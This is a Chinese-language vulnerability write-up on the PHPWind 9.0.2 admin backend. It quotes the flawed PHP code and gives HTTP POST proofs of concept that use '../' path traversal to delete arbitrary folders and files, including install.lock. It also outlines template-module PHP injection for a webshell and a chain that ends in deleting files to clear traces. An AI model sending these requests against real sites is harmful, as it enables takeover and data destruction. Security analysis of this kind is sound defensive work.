某wind 9.0.2 任意文件删除&代码执行(后台)
字数 955 2025-08-29 08:31:47
PHPWind 9.0.2 后台漏洞分析与利用指南
0x01 漏洞概述
PHPWind 9.0.2 后台存在多个高危漏洞,包括:
- 任意文件夹删除漏洞
- 任意文件删除漏洞
- 代码执行漏洞
这些漏洞可导致攻击者在获取后台权限后完全控制服务器。
0x02 漏洞详细分析
0x02_1 任意文件夹删除漏洞
漏洞文件:/src/applications/backup/admin/BackupController.php
漏洞代码(105-119行):
public function batchdeleteAction() {
$files = $this->getInput('files');
!$files && $this->showError('BACKUP:name.empty');
foreach($files as $value){
$value = WindSecurity::escapePath($value);
if (!$value) continue;
if(preg_match('/^(\w{8}_pw_[^_]+_\d{14})(.*)(sql|zip)$/i', $value)){
$deletePath = $this->_bakupDir . $value;
WindFile::del($deletePath);
}elseif (preg_match('/^\w{8}_pw_d{14})/i', $value)) {
WindFolder::rm($this->_bakupDir . $value,true);
}
}
$this->showMessage('success');
}
漏洞点分析:
WindSecurity::escapePath()函数未过滤../目录遍历字符- 正则表达式
(.*)允许任意字符,可构造路径遍历
安全函数缺陷:
/wind/utility/WindSecurity.php 中的 escapePath() 函数:
public static function escapePath($filePath, $ifCheck = false) {
$_tmp = array("\0" => '');
if ($ifCheck && strtr($filePath, $_tmp) == $filePath) {
return preg_replace('/[^\w\-\.]/i', '', $filePath);
}
throw new WindException('[utility.WindSecurity.escapePath] file path is illegal');
}
0x02_2 任意文件删除漏洞
漏洞文件:/src/applications/appcenter/admin/AppController.php
漏洞代码(182-188行):
public function delFileAction() {
$file = $this->getInput('file', 'post');
if ($file && file_exists(ATTACH_PATH . $file)) {
WindFile::del(ATTACH_PATH . $file);
}
$this->showMessage('success');
}
漏洞点分析:
- 无任何路径过滤
- 可通过
../遍历到任意目录 - 开发错误导致
ATTACH_PATH与实际路径不匹配,但仍可利用
0x02_3 代码执行漏洞
漏洞位置:
后台 => 门户 => 模板管理 => 添加模块
漏洞描述:
- 插入的代码会被写入数据库
- 通过"调用代码"功能时,代码会被执行
0x03 漏洞利用方法
任意文件夹删除漏洞利用
POC 1:
POST /admin.php?m=backup&c=backup&a=batchdelete HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [有效的后台cookie]
files[]=YXYJjQpA_pw_9-0-2_20190117162037/coolcat/&csrf_token=[有效的token]
POC 2:
POST /admin.php?m=appcenter&c=app&a=delFolder HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [有效的后台cookie]
csrf_token=[有效的token]&folder=demo/coolcat/
任意文件删除漏洞利用
POC:
POST /admin.php?m=appcenter&c=app&a=delFile HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [有效的后台cookie]
csrf_token=[有效的token]&file=/../data/install.lock
代码执行漏洞利用
- 登录后台
- 导航到:门户 => 模板管理 => 添加模块
- 插入恶意PHP代码
- 通过"调用代码"功能执行代码
0x04 修复建议
- 升级到最新版本
- 临时修复方案:
- 修改
WindSecurity::escapePath()函数,过滤../ - 严格限制文件删除操作的路径范围
- 对模板代码进行严格过滤
- 修改
0x05 总结
PHPWind 9.0.2 后台存在多个高危漏洞,攻击链如下:
- 通过其他漏洞获取后台权限(如SQL注入)
- 利用代码执行漏洞获取Webshell
- 利用文件删除漏洞清除痕迹或破坏系统
管理员应及时更新系统并检查服务器安全状况。